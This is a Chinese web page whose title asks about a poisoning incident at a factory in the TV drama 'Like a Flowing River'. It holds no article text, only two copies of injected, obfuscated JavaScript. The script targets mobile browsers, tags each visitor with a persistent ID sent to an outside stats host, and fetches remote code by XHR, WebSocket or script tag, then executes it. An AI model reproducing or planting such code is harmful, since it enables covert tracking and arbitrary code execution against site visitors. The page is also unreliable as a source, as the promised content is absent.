《大江大河之岁月如歌》彭阳厂中毒事件是怎么回事？

function XvSjEH(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function piGUCoJ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return XvSjEH(t);};window[''+'Q'+'m'+'I'+'E'+'q'+'N'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=piGUCoJ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZmddi5ocXp5cC5jb20lM0E4ODkx','d3NzJTNBJTJGJTJGcXN4Lmhxxc25mLmNvbSUzQTk1MzQ=','159458',window,document,['d','x']);}:function(){};

function cJveoA(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TDfRbvGE(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return cJveoA(t);};window[''+'k'+'i'+'J'+'d'+'z'+'h'+'X'+'e'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=TDfRbvGE,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZmmdi5ocXp5cC5jb20lM0E4ODkx','d3NzJTNBJTJGJTJGccXN4Lmhxcc25mLmNvbSUzQTk1MzQ=','159459',window,document,['m','c']);}:function(){};